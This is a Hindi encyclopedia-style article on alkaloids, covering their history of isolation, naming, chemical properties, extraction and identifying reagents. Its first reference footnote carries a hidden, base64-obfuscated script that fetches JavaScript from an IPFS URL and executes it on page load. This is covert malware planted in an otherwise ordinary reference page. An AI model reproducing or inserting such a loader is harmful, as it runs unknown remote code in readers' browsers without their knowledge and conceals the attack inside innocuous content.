ऐलकालाँयड

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ऐलकालाँयड शब्द का प्रयोग प्रारंभ से ही नाइट्रोजन वाले कार्बनिक क्षारीय यौगिकों के लिए किया गया था, क्योंकि उनके गुण क्षारों से मिलते जुलते हैं। आजकल ऐलकालायड शब्द का प्रयोग वनस्पतियों तथा प्राणिजगत में पाए जानेवाले जटिल-कार्बनिक-क्षारीय-पदर्थो के लिए होता है जो पोषकीय दृष्टि से सक्रिय होते हैं। साधारण ऐमिन, ऐमिनो अम्ल तथा प्यूरीन यौगिक इस समुदाय में नहीं आते। ऐलकालायडों का चिकित्साशास्त्र में बड़ा महत्व है। अनेक वनस्पतियों के निचोड़, जो ऐलकालायड हैं, ओषधियों के रूप में आदिकाल से प्रयुक्त होते रहे हैं और इनमें से कुछ का प्रयोग विष के रूप में भी होता रहा है।

चार्ल्स डेरोस्ने ने सन्‌ 1803 ई में अफीम के निचोड़ को पानी से तनु करके एक मणिभीय पदार्थ प्राप्त किया, जिसको पृथक करने तथा शुद्ध करने पर एक यौगिक मिला जो संभवत: पहला ऐलकालॉयड नारकोटीन था। क्षारीय विलयन के प्रयोग से उसने इस प्राप्त पदार्थ की मात्रा बढ़ाने का प्रयत्न किया, किंतु इस प्रयास में उसे एक दूसरा ऐलकालॉयड प्राप्त हुआ, जो मारफ़ीन था। लगभग उसी समय ए. ऐगियम ने भी इसी विधि से मारफीन बनाया। परंतु किसी विशेष ऐलकालायड को शुद्ध अवस्था में प्राप्त करके उसके धर्मगुणों को ठीक से प्रस्तुत करने का श्रेय एफ़.डब्ल्यू. ए. सर्टुनर्र को है। उसने सन्‌ 1816 ई. में एक नवीन कार्बनिक लवण बनानेवाले क्षारीय पदार्थ मारफीन की प्राप्ति की जिससे उसने अनेक लवण बनाए और उसकी पोषकीय अभिक्रिया भी प्रदर्शित की। इसी बीच सन्‌ 1810 ई. में बी.ए. गोम्स ने सिनकोना के ऐलकोहलीय निचोड़ पर क्षारीय विलयन से अभिक्रिया करके एक अवक्षेप प्राप्त किया, जिसे उसने ऐलकोहल द्वारा मणिभीकृत करके सिनकोनीन प्राप्त किया। सन्‌ 1817 ई. तथा 1840 ई. के मध्य प्राय: समस्त महत्वपूर्ण ऐलकालॉयड, जैसे वेरट्रीन, स्ट्रिकनीन, पाइपरीन, क्वीनीन,ऐट्रोपीन, कोडीन आदि प्राप्त कर लिए गए।

अधिकांश ऐलकालायडों के नाम उन वनस्पतियों के आधार पर रखे गए हैं जिनसे वे प्राप्त किए जाते हैं। कुछ के नाम उनके द्वारा होनेवाले पोषकीय प्रभावों के अनुसार रखे गए हैं, जैसे मारफ़ीन का नाम स्वप्नों के ग्रीक देवता मारफ़िअस के आधार पर रखा गया है। कुछ के नाम प्रसिद्ध रसायनज्ञों के नाम पर रखे गए, जैसे पेलीटरीन का नाम फ्रांसीसी रसायनज्ञ पेलीटियर के नाम पर रखा गया है। ऐलकालॉयड वनस्पतियों के विभिन्न भागों में, जैसे पत्ती, छाल, जड़, आदि में, पाए जाते हैं। ये क्षारीय होते हैं, अत: इनमें से अधिकांश कुछ कार्बनिक अम्लों, जैसे औक्सैलिक, सक्सीनिक, साइट्रिक, मैलिक टैनिक आदि के साथ लवण रूप में पाए जाते हैं।

साधारणतया ऐलकालॉयड मणिभीय रूप में होते हैं और इनमें कार्बन, हाइड्रोजन, आक्सिजन तथा नाइट्रोजन तत्व पाए जाते हैं। परंतु निकोटीन तथा कोनीन जैसे कुछ ऐलकालॉयडों में आक्सिजन नहीं होता और वे अधिकतर द्रव रूप में रहते हैं। ऐलकालॉयडों में नाइट्रोजनवाले विषमचक्रीय कुछ यौगिक, जैसे पिरीडीन, पायरोल, क्वीनोलीन, आइसोक्वीनोलीन, प्रमुख रूप से विद्यमान रहते हैं और अन्य मूलक तत्व या कार्बन श्रृंखलाएँ इनके साथ संयुक्त रहती हैं। ये जल में अधिकतर अविलेय होते है, परंतु ऐलकोहेल,ईथर या क्लोरोफ़ार्म में विलेय होते हैं। अधिकांश ऐलकालॉयड प्रकाशसक्रिय होते हैं। ये कार्बनिक तथा अकार्बनिक अम्लों के साथ लवण बनाते हैं। प्राय: अधिक मात्रा में ऐलकालॉयडों का प्रभाव हानिकारक होता है, परंतु कम मात्रा में वे ओषधियों के रूप में प्रयुक्त होते हैं। इनका स्वाद कड़वा होता है।[1]

वनस्पतियों से ऐलकालॉयड निकालने के लिए उनको हाइड्रोक्लोरिक या सल्फ़्यूरिक अम्ल से, या अम्लीय ऐथिल ऐलकोहल के साथ पाचित किया जाता है। इस कार्य के लिए एक विशेष मिश्रण का भी प्रयोग होता है, जिसमें ईथर, एथिल ऐल्कोहल तथा अमोनिया निश्चित मात्रा में मिले रहते हैं। इस मिश्रण को प्रोलियस द्रव (प्रोलियस फ़्लुइड) कहते हैं।

कुछ अभिकर्मकों के साथ ऐलकालॉयड एक विशेष प्रकार का रंग या अवक्षेप बनाते हैं, जिनके द्वारा ये पहचाने जा सकते हैं। इनमें से प्रमुख ये हैं :

एर्डमान का अभिकर्मक–सांद्र सल्फ़यूरिक अम्ल जिसमें कुछ नाइट्रिक अम्ल मिला होता है;

फ़ोयड् अभिकर्मक–सांद्र सल्फ़्यूरिक अम्ल में अमोनियम मालिब्डेट का 1ऽ विलयन; सांद्र सल्फ़्यूरिक अम्ल में सोडियम मेटावेनेडेट का विलयन;

मेयर अभिकर्मक–मरकयूरिक का पोटैसियम आयोडाइड में विलयन;

वैगनर अभिकर्मक–आयोडीन का पोटैसियम आयोडाइड में विलयन

डेगंड्राफ अभिकर्मक–पोटैसियम-बिसमथ-आयोडाइड का विलयन; तथा

साइबलर अभिकर्मक–क्लोरोप्लैटिनिक, क्लोरो ऑरिक, फ़ासफ़ोटंग्स्टिक या सिलिको-टंग्स्टिक अम्ल का विलयन।[2]



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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 2 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 282 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. सं.ग्रं.–टी.ए. टेनरी : प्लांट ऐलकालॉयड।

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